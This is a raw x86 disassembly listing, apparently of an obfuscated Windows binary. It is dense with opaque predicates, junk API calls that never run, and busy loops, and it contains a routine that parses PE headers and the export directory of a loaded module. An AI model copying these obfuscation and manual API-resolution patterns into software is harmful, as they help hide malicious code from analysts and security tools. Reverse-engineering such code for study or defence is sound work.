je 0x1003bce7
mov dword [ebp - 0xda8], 1
jmp 0x1003bcee
and dword [ebp - 0xda8], 0
mov eax, dword [ebp - 0xda8]
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 2
je 0x1003bd0a
cmp dword [ebp - 0xac4], 0
push 0
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
cmp dword [eax], 0xf849
jle 0x1003bd2b
mov dword [ebp - 0x4d4], 1
jmp 0x1003bd32
and dword [ebp - 0x4d4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4d4]
mov dword [ebp + eax - 0x4a0], ecx
cmp dword [ebp - 0x4d4], 0x62e2
je 0x1003bd5d
mov dword [ebp - 0xca4], 1
jmp 0x1003bd64
and dword [ebp - 0xca4], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xca4], eax
jle 0x1003bd7b
mov dword [ebp - 0xacc], 1
jmp 0x1003bd82
and dword [ebp - 0xacc], 0
push 3
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
mov ecx, dword [ebp - 0xacc]
cmp ecx, dword [eax]
jle 0x1003bdb7
push 2
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003bdb7
mov dword [ebp - 0xd94], 1
jmp 0x1003bdbe
and dword [ebp - 0xd94], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xd94], eax
jl 0x1003bdd5
mov dword [ebp - 0xad4], 1
jmp 0x1003bddc
and dword [ebp - 0xad4], 0
mov eax, dword [ebp - 0xad4]
sub eax, 0x53eb
mov dword [ebp - 0x23c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x4a0]
mov dword [ebp - 0xcac], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xcac]
mov dword [ebp + eax - 0x4a0], ecx
cmp dword [ebp - 0xcac], 0
je 0x1003be3a
push 3
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003be3a
mov dword [ebp - 0x112c], 1
jmp 0x1003be41
and dword [ebp - 0x112c], 0
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x1664], eax
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x168]
jl 0x1003be71
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4a0], 0
jne 0x1003be71
and dword [ebp - 0x105c], 0
jmp 0x1003be7b
mov dword [ebp - 0x105c], 1
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x4a0], 0
jne 0x1003be97
mov dword [ebp - 0xadc], 1
jmp 0x1003be9e
and dword [ebp - 0xadc], 0
cmp dword [ebp - 0xadc], 0x2af72da6
jne 0x1003beb6
mov dword [ebp - 0xdb0], 1
jmp 0x1003bebd
and dword [ebp - 0xdb0], 0
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0xdb0]
cmp eax, 0x1653
jle 0x1003bedc
mov dword [ebp - 0xae4], 1
jmp 0x1003bee3
and dword [ebp - 0xae4], 0
mov eax, dword [ebp - 0xae4]
mov dword [ebp - 0xcb4], eax
mov eax, dword [ebp - 0xcb4]
mov dword [ebp - 0x320], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe10]
call fcn.10025e3f
jmp 0x1003c083
mov dword [ebp - 0xaec], 0x1bad
mov dword [ebp - 0x1210], 0x10008390
cmp dword [ebp - 0xaec], 0x1e90
jle 0x1003bfdb
and dword [ebp - 0x36c], 0
jmp 0x1003bf49
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x3ef4
jge 0x1003bfdb
and dword [ebp - 0x374], 0
jmp 0x1003bf6f
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x7e11
jge 0x1003bfd6
and dword [ebp - 0x37c], 0
jmp 0x1003bf91
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x28c8
jge 0x1003bfd4
mov eax, dword [ebp - 0x36c]
and eax, dword [ebp - 0x374]
xor eax, dword [ebp - 0x37c]
cdq
mov dword [ebp - 0x1008], eax
mov dword [ebp - 0x1004], edx
push dword [ebp - 0x1004]
push dword [ebp - 0x1008]
mov ecx, 0x1061f778
call fcn.10025cc8
jmp 0x1003bf84
jmp 0x1003bf62
jmp 0x1003bf3c
mov dword [ebp - 0x168], 0
jmp 0x1003bff4
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 1
jg 0x1003c03a
mov dword [ebp - 0x20], 0
jmp 0x1003c00d
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
jg 0x1003c038
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4a0]
mov ecx, dword [ebp - 0x20]
mov dword [ebp + ecx*4 - 0x4a0], eax
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x4a0], 0
je 0x1003c036
jmp 0x1003c006
jmp 0x1003c006
jmp 0x1003bfe7
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0xaec], 0x17dc
jge 0x1003c05d
mov edx, dword [ebp - 0x1210]
mov ecx, 0x1061f778
call fcn.10027940
jmp 0x1003c079
or dword [ebp - 4], 0xffffffff
jmp 0x1003c083
mov eax, dword [0x106208c4]
cmp eax, dword [ebp - 0x46c]
je 0x1003c0a1
mov eax, dword [0x106209d0]
cmp eax, dword [ebp - 0x46c]
jne 0x1003c20d
mov dword [ebp - 0x4e4], 0xfffffffa
mov dword [ebp - 0xdb8], 5
mov dword [ebp - 0x384], 0
jmp 0x1003c0ce
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 3
jge 0x1003c0ea
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0x16fc], 2
jmp 0x1003c0c1
mov byte [ebp - 0x199], 0
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x1003c116
push 0x210
push 0x3b4
push 0x11c0
push 0x1add
call dword [sym.imp.GDI32.dll_CreateRectRgn]
cmp dword [ebp - 0x4e4], 0
je 0x1003c17f
mov dword [ebp - 0xdb8], 5
mov eax, dword [ebp - 0xdb8]
cmp eax, dword [ebp - 0x4e4]
jle 0x1003c143
mov dword [ebp - 0xaf4], 1
jmp 0x1003c14a
and dword [ebp - 0xaf4], 0
cmp dword [ebp - 0xaf4], 1
jne 0x1003c15f
mov dword [ebp - 0xcbc], 1
jmp 0x1003c166
and dword [ebp - 0xcbc], 0
mov eax, 0x91e2
sub eax, dword [ebp - 0xcbc]
je 0x1003c17f
mov dword [ebp - 0xafc], 1
jmp 0x1003c186
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0x4e4]
cmp dword [ebp - 0xafc], eax
jg 0x1003c1a0
mov dword [ebp - 0xe60], 1
jmp 0x1003c1a7
and dword [ebp - 0xe60], 0
cmp dword [ebp - 0xe60], 0
jne 0x1003c1bc
mov dword [ebp - 0xb04], 1
jmp 0x1003c1c3
and dword [ebp - 0xb04], 0
cmp dword [ebp - 0xb04], 0xfa32
jle 0x1003c1db
mov dword [ebp - 0xcc4], 1
jmp 0x1003c1e2
and dword [ebp - 0xcc4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xcc4]
mov dword [ebp + eax - 0x16fc], ecx
mov ecx, dword [ebp + 0xc]
call fcn.10025bf8
push eax
push dword [ebp + 8]
call fcn.100302dd
pop ecx
pop ecx
jmp 0x100403c0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x39c], eax
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x38c], 0
jmp 0x1003c236
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 1
jge 0x1003c24f
mov eax, dword [ebp - 0x38c]
mov dword [ebp + eax*4 - 0x28], 0x51d69f42
jmp 0x1003c229
mov dword [ebp - 0x14], 0x24a8c6a5
mov dword [ebp - 0x14], 0
jmp 0x1003c266
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x1003ca63
mov dword [ebp - 0x12f0], 0x110e6b6c
mov dword [ebp - 0x12ec], 0x110e6b6c
mov dword [ebp - 0x12e8], 0x110e6b6c
mov dword [ebp - 0x12e4], 0x110e6b6c
lea ecx, [ebp - 0x549]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x12e0]
push eax
lea eax, [ebp - 0x12f0]
push eax
lea ecx, [ebp - 0x1790]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11d0]
call fcn.10025e19
mov dword [ebp - 4], 0x28
mov dword [ebp - 0x264], 0x72fd
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
mov dword [ebp - 0xb0c], eax
push 2
lea ecx, [ebp - 0x11d0]
call fcn.10025e5b
mov ecx, dword [ebp - 0xb0c]
mov dword [eax], ecx
cmp dword [ebp - 0xb0c], 0
jne 0x1003c398
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
jne 0x1003c351
cmp dword [ebp - 0x14], 0x11a91ce4
jg 0x1003c32f
mov dword [ebp - 0xda4], 1
jmp 0x1003c336
and dword [ebp - 0xda4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0xda4], eax
jne 0x1003c351
and dword [ebp - 0xb14], 0
jmp 0x1003c35b
mov dword [ebp - 0xb14], 1
mov esi, dword [ebp - 0xb14]
add esi, 0x1a8f
push 2
lea ecx, [ebp - 0x11d0]
call fcn.10025e5b
cmp esi, dword [eax]
jl 0x1003c384
mov dword [ebp - 0xccc], 1
jmp 0x1003c38b
and dword [ebp - 0xccc], 0
mov eax, dword [ebp - 0xccc]
add eax, 0x1d2c2b88
je 0x1003c3ae
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x28], 0
je 0x1003c3ae
mov dword [ebp - 0xb1c], 1
jmp 0x1003c3b5
and dword [ebp - 0xb1c], 0
cmp dword [ebp - 0xb1c], 0x60bc23ce
jl 0x1003c3cd
mov dword [ebp - 0x7b8], 1
jmp 0x1003c3d4
and dword [ebp - 0x7b8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x28]
add ecx, dword [ebp - 0x7b8]
cmp ecx, dword [ebp + eax - 0x28]
jle 0x1003c403
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
jne 0x1003c403
and dword [ebp - 0x7c0], 0
jmp 0x1003c40d
mov dword [ebp - 0x7c0], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x7c0], eax
jl 0x1003c428
mov dword [ebp - 0x1064], 1
jmp 0x1003c42f
and dword [ebp - 0x1064], 0
imul eax, dword [ebp - 0x14], 0xfff6
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x28]
imul ecx, eax
inc ecx
jne 0x1003c454
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x28], 0
je 0x1003c8f6
mov dword [ebp - 0x25c], 0
mov dword [ebp - 0x1134], 0x1887
cmp dword [ebp - 0x1134], 0xe24
jge 0x1003c5ad
xor cl, cl
call fcn.10028f37
lea eax, [ebp - 0x4ec]
push eax
lea eax, [ebp - 0x7d8]
push eax
mov ecx, 0x1061f830
call fcn.100436f5
mov ecx, eax
call fcn.100436f5
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x4ec]
mov dword [ebp - 0x106c], eax
mov eax, dword [ebp - 0x4ec]
dec eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x106c], 0
je 0x1003c538
lea eax, [ebp - 0x11b4]
push eax
lea eax, [ebp - 0x1074]
push eax
mov ecx, 0x1061f830
call fcn.100436f5
mov ecx, eax
call fcn.100436f5
mov eax, dword [ebp - 0x11b4]
sub eax, dword [ebp - 0x1074]
inc eax
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x24c]
cmp eax, dword [ebp - 0x7c8]
jge 0x1003c51b
mov eax, dword [ebp - 0x24c]
mov dword [ebp - 0x7d0], eax
jmp 0x1003c527
mov eax, dword [ebp - 0x7c8]
mov dword [ebp - 0x7d0], eax
mov eax, dword [ebp - 0x7d0]
mov dword [ebp - 0x24c], eax
jmp 0x1003c4ab
push 0x1004642b
push dword [ebp - 0x24c]
mov ecx, 0x1061f778
call fcn.10043816
mov ecx, eax
call fcn.1004380a
and dword [ebp - 0x394], 0
jmp 0x1003c56a
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x7d8]
jge 0x1003c59e
mov eax, dword [ebp - 0x394]
cdq
idiv dword [ebp - 0x24c]
push edx
mov ecx, 0x1061f778
call fcn.10043816
mov edx, 0x10008408
mov ecx, eax
call fcn.10027940
jmp 0x1003c55d
push 0x1004642b
mov ecx, 0x1061f778
call fcn.1004380a
mov dword [ebp - 0x1e4], 0x2e525b78
mov dword [ebp - 0x868], 7
mov dword [ebp - 0x25c], 5
jmp 0x1003c5da
mov eax, dword [ebp - 0x25c]
dec eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xfffffff4
jl 0x1003c8f1
mov dword [ebp - 0x170], 0xe33a9025
mov dword [ebp - 0x254], 0x464c
push 2
lea ecx, [ebp - 0x11d0]
call fcn.10025e5b
xor eax, eax
cmp eax, 0xffffffff
jbe 0x1003c61b
mov dword [ebp - 0x7e0], 1
jmp 0x1003c622
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0x7e0], eax
je 0x1003c63c
mov dword [ebp - 0x7e8], 1
jmp 0x1003c643
and dword [ebp - 0x7e8], 0
mov eax, dword [ebp - 0x254]
add eax, dword [ebp - 0x7e8]
cmp eax, 0xffffffff
jge 0x1003c669
cmp dword [ebp - 0x170], 0
je 0x1003c669
mov dword [ebp - 0x7f0], 1
jmp 0x1003c670
and dword [ebp - 0x7f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x28]
cmp dword [ebp - 0x7f0], eax
jle 0x1003c68e
mov dword [ebp - 0x7f8], 1
jmp 0x1003c695
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x264]
mov dword [ebp - 0x1e4], eax
mov eax, dword [ebp - 0x1e4]
neg eax
cmp eax, dword [ebp - 0x7f8]
je 0x1003c6bd
mov dword [ebp - 0x800], 1
jmp 0x1003c6c4
and dword [ebp - 0x800], 0
cmp dword [ebp - 0x800], 0xb20295d0
ja 0x1003c6dc
mov dword [ebp - 0x808], 1
jmp 0x1003c6e3
and dword [ebp - 0x808], 0
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x808]
jle 0x1003c6fd
mov dword [ebp - 0x810], 1
jmp 0x1003c704
and dword [ebp - 0x810], 0
mov eax, dword [ebp - 0x810]
add eax, 0xe2c2
cmp eax, dword [ebp - 0x254]
jge 0x1003c723
mov dword [ebp - 0x818], 1
jmp 0x1003c72a
and dword [ebp - 0x818], 0
cmp dword [ebp - 0x818], 0xffffffff
jne 0x1003c73f
mov dword [ebp - 0x820], 1
jmp 0x1003c746
and dword [ebp - 0x820], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x820], eax
je 0x1003c761
mov dword [ebp - 0x828], 1
jmp 0x1003c768
and dword [ebp - 0x828], 0
mov eax, dword [ebp - 0x828]
sub eax, dword [ebp - 0x868]
sub eax, dword [ebp - 0x170]
jne 0x1003c783
cmp dword [ebp - 0x254], 0
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x166c], eax
cmp dword [ebp - 0x254], 0xffffffff
jbe 0x1003c7a4
mov dword [ebp - 0x830], 1
jmp 0x1003c7ab
and dword [ebp - 0x830], 0
cmp dword [ebp - 0x830], 0x7d512630
jne 0x1003c7cc
mov eax, 0xefd7f9b6
test eax, eax
je 0x1003c7cc
mov dword [ebp - 0x838], 1
jmp 0x1003c7d3
and dword [ebp - 0x838], 0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x28]
cmp dword [ebp - 0x838], eax
jle 0x1003c7ee
mov dword [ebp - 0x840], 1
jmp 0x1003c7f5
and dword [ebp - 0x840], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x840], eax
jg 0x1003c80f
mov dword [ebp - 0x848], 1
jmp 0x1003c816
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x170]
cmp dword [ebp - 0x848], eax
jne 0x1003c8c5
push 3
lea ecx, [ebp - 0x11d0]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003c871
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x1e4]
je 0x1003c871
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1e4]
jne 0x1003c871
cmp dword [ebp - 0x170], 0
je 0x1003c871
mov eax, 0x9f56
test eax, eax
je 0x1003c871
mov dword [ebp - 0x850], 1
jmp 0x1003c878
and dword [ebp - 0x850], 0
cmp dword [ebp - 0x850], 0x3b11
jge 0x1003c890
mov dword [ebp - 0x858], 1
jmp 0x1003c897
and dword [ebp - 0x858], 0
cmp dword [ebp - 0x858], 0xb22f2ee
je 0x1003c8af
mov dword [ebp - 0x860], 1
jmp 0x1003c8b6
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x860]
mov dword [ebp + eax*4 - 0x28], ecx
jmp 0x1003c8ec
mov dword [ebp - 0x113c], 0x73f1
mov dword [ebp - 0x1e4], 0xfcd1
mov eax, dword [ebp - 0x113c]
imul eax, dword [ebp - 0x1e4]
mov dword [ebp - 0x868], eax
jmp 0x1003c5cd
jmp 0x1003ca4f
mov dword [ebp - 0x870], 0xffffffff
mov dword [ebp - 0x264], 0xfffffff8
jmp 0x1003c919
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0xfffffff8
jle 0x1003ca4f
mov dword [ebp - 0x26c], 1
mov dword [ebp - 0x26c], 0xc
jmp 0x1003c949
mov eax, dword [ebp - 0x26c]
dec eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0xfffffff4
jge 0x1003ca3a
mov dword [ebp - 0x1ec], 1
mov dword [ebp - 0x898], 0
mov dword [ebp - 0x1ec], 0
jmp 0x1003c983
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 0xe
jne 0x1003ca35
mov dword [ebp - 0x878], 0xfffffff7
mov dword [ebp - 0x107c], 0xffffffff
mov eax, dword [ebp - 0x1ec]
cmp eax, dword [ebp - 0x870]
jg 0x1003c9be
mov dword [ebp - 0x880], 1
jmp 0x1003c9c5
and dword [ebp - 0x880], 0
cmp dword [ebp - 0x1ec], 0
jne 0x1003c9e0
cmp dword [ebp - 0x870], 0
jne 0x1003c9e0
and dword [ebp - 0x888], 0
jmp 0x1003c9ea
mov dword [ebp - 0x888], 1
mov eax, dword [ebp - 0x878]
add eax, dword [ebp - 0x878]
imul eax, dword [ebp - 0x880]
cmp eax, dword [ebp - 0x888]
jne 0x1003ca11
mov dword [ebp - 0x890], 1
jmp 0x1003ca18
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x890]
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x107c], eax
jmp 0x1003c976
jmp 0x1003c93c
mov eax, dword [ebp - 0x26c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x28], eax
jmp 0x1003c90c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11d0]
call fcn.10025e3f
jmp 0x1003c25f
cmp dword [ebp - 0x39c], 0
je 0x10040270
mov eax, dword [ebp - 0x39c]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10040270
mov eax, dword [ebp - 0x39c]
mov ecx, dword [ebp - 0x39c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2a8], ecx
mov dword [ebp - 0xe8], 0x516a205b
push 3
lea ecx, [ebp - 0x1430]
call fcn.10025ddd
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x3a4], 0
jmp 0x1003cad0
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 3
jge 0x1003caf2
push dword [ebp - 0x3a4]
lea ecx, [ebp - 0x1430]
call fcn.10025e5b
mov dword [eax], 1
jmp 0x1003cac3
mov byte [ebp - 0x1c5], 0
movzx eax, byte [ebp - 0x1c5]
test eax, eax
je 0x1003cb16
push 0
push 0x888
push 0x2442
call dword [sym.imp.USER32.dll_GetScrollInfo]
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x1674], eax
mov eax, dword [ebp - 0xe8]
imul eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xe8]
jne 0x1003cb4c
cmp dword [ebp - 0xe8], 0
je 0x1003cb4c
mov dword [ebp - 0x8a0], 1
jmp 0x1003cb53
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0x8a0], 0x1a9565e0
jg 0x1003cb6b
mov dword [ebp - 0x8a8], 1
jmp 0x1003cb72
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x8a8]
sub eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xe8]
jle 0x1003cb92
mov dword [ebp - 0x1208], 1
jmp 0x1003cb99
and dword [ebp - 0x1208], 0
cmp dword [ebp - 0xe8], 0xfffffff9
jne 0x1003cbae
mov dword [ebp - 0x8b0], 1
jmp 0x1003cbb5
and dword [ebp - 0x8b0], 0
cmp dword [ebp - 0x8b0], 0xfffffffb
ja 0x1003cbca
mov dword [ebp - 0x8b8], 1
jmp 0x1003cbd1
and dword [ebp - 0x8b8], 0
push 2
lea ecx, [ebp - 0x1430]
call fcn.10025e5b
mov ecx, dword [ebp - 0x8b8]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1430]
call fcn.10025e3f
mov eax, dword [ebp - 0x2a8]
cmp dword [eax], 0x4550
jne 0x10040270
mov eax, dword [ebp - 0x2a8]
cmp dword [eax + 0x74], 0
jbe 0x10040270
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2a8]
cmp dword [ecx + eax + 0x78], 0
je 0x10040270
or dword [ebp - 0x1318], 0xffffffff
or dword [ebp - 0x1314], 0xffffffff
or dword [ebp - 0x1310], 0xffffffff
or dword [ebp - 0x130c], 0xffffffff
lea ecx, [ebp - 0x551]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x1308]
push eax
lea eax, [ebp - 0x1318]
push eax
lea ecx, [ebp - 0x1770]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x5ac]
call fcn.10025e19
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0x3ac], 0x9aaed6b6
mov dword [ebp - 0x918], 0x3bd
mov dword [ebp - 0x3c4], 9
mov dword [ebp - 0x1340], 0x5c8a2db
mov dword [ebp - 0x133c], 0x5c8a2db
mov dword [ebp - 0x1338], 0x5c8a2db
mov dword [ebp - 0x1334], 0x5c8a2db
lea ecx, [ebp - 0x571]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x1330]
push eax
lea eax, [ebp - 0x1340]
push eax
lea ecx, [ebp - 0x17a0]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x15b0]
call fcn.10025e19
mov byte [ebp - 4], 0x2b
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
mov esi, eax
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [esi], eax
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
cmp dword [eax], 0xb844a754
jb 0x1003cd46
mov dword [ebp - 0x8c0], 1
jmp 0x1003cd4d
and dword [ebp - 0x8c0], 0
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8c0]
jne 0x1003cd70
mov dword [ebp - 0x8c8], 1
jmp 0x1003cd77
and dword [ebp - 0x8c8], 0
push 3
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003cd99
push 4
pop eax
test eax, eax
jne 0x1003cd99
and dword [ebp - 0x8d0], 0
jmp 0x1003cda3
mov dword [ebp - 0x8d0], 1
mov eax, dword [ebp - 0x8c8]
mov dword [ebp - 0x3ac], eax
mov eax, dword [ebp - 0x3ac]
neg eax
push 0xfffffffffffffff7
pop ecx
sub ecx, eax
cmp ecx, dword [ebp - 0x8d0]
jg 0x1003cdd0
mov dword [ebp - 0x8d8], 1
jmp 0x1003cdd7
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x918]
imul eax, dword [ebp - 0x8d8]
test eax, eax
je 0x1003cf46
mov dword [ebp - 0xec], 1
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x167c], eax
cmp dword [ebp - 0xec], 0
jne 0x1003ce17
mov dword [ebp - 0x8e0], 1
jmp 0x1003ce1e
and dword [ebp - 0x8e0], 0
cmp dword [ebp - 0x8e0], 0xfffffff6
je 0x1003ce33
mov dword [ebp - 0x8e8], 1
jmp 0x1003ce3a
and dword [ebp - 0x8e8], 0
mov eax, dword [ebp - 0x8e8]
mov dword [ebp - 0x3c4], eax
mov esi, dword [ebp - 0xec]
add esi, dword [ebp - 0xec]
sub esi, dword [ebp - 0x3ac]
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
cmp dword [eax], esi
jne 0x1003ce75
mov dword [ebp - 0x8f0], 1
jmp 0x1003ce7c
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x8f0], eax
je 0x1003ce96
mov dword [ebp - 0x8f8], 1
jmp 0x1003ce9d
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x8f8], eax
jg 0x1003ceb7
mov dword [ebp - 0x900], 1
jmp 0x1003cebe
and dword [ebp - 0x900], 0
mov esi, dword [ebp - 0xec]
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
mov eax, dword [eax]
sub eax, dword [ebp - 0x900]
cmp eax, esi
je 0x1003cef8
push 3
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x1003cef8
and dword [ebp - 0x908], 0
jmp 0x1003cf02
mov dword [ebp - 0x908], 1
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
mov ecx, dword [ebp - 0x908]
add ecx, dword [eax]
jne 0x1003cf2b
cmp dword [ebp - 0xec], 0
jne 0x1003cf2b
and dword [ebp - 0x910], 0
jmp 0x1003cf35
mov dword [ebp - 0x910], 1
mov eax, dword [ebp - 0x910]
mov dword [ebp - 0xec], eax
jmp 0x1003d0d4
mov dword [ebp - 0x3bc], 0x4a3a6d7d
mov dword [ebp - 0x920], 1
mov dword [ebp - 0x928], 0xb10079d6
mov dword [ebp - 0x1144], 0x903a
mov dword [ebp - 0x1094], 0x74d37718
mov dword [ebp - 0x3b4], 0
jmp 0x1003cf91
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 1
jge 0x1003cfad
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0x108c], 0xffffffff
jmp 0x1003cf84
cmp dword [ebp - 0x3bc], 0
je 0x1003d0c1
push 2
lea ecx, [ebp - 0x5ac]
call fcn.10025e5b
cmp dword [eax], 1
jne 0x1003cfd8
mov dword [ebp - 0x1084], 1
jmp 0x1003cfdf
and dword [ebp - 0x1084], 0
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x920], eax
mov eax, dword [ebp - 0x920]
mov dword [ebp - 0x928], eax
mov dword [ebp - 0x3c4], 0x2ea6
mov eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x3c4]
jle 0x1003d01b
mov dword [ebp - 0x930], 1
jmp 0x1003d022
and dword [ebp - 0x930], 0
mov eax, dword [ebp - 0x3bc]
mov eax, dword [ebp - 0x3bc]
neg eax
cmp eax, dword [ebp - 0x3bc]
jl 0x1003d044
mov dword [ebp - 0x938], 1
jmp 0x1003d04b
and dword [ebp - 0x938], 0
push 0
lea ecx, [ebp - 0x15b0]
call fcn.10025e5b
mov ecx, dword [ebp - 0x938]
cmp ecx, dword [eax]
jl 0x1003d06e
mov dword [ebp - 0x940], 1
jmp 0x1003d075
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x1144]
cmp dword [ebp - 0x940], eax
jge 0x1003d08f
mov dword [ebp - 0x4f4], 1
jmp 0x1003d096
and dword [ebp - 0x4f4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4f4]
mov dword [ebp + eax - 0x108c], ecx
cmp dword [ebp - 0x4f4], 0x153b
je 0x1003d0c1
mov dword [ebp - 0x11c4], 1
jmp 0x1003d0c8
and dword [ebp - 0x11c4], 0
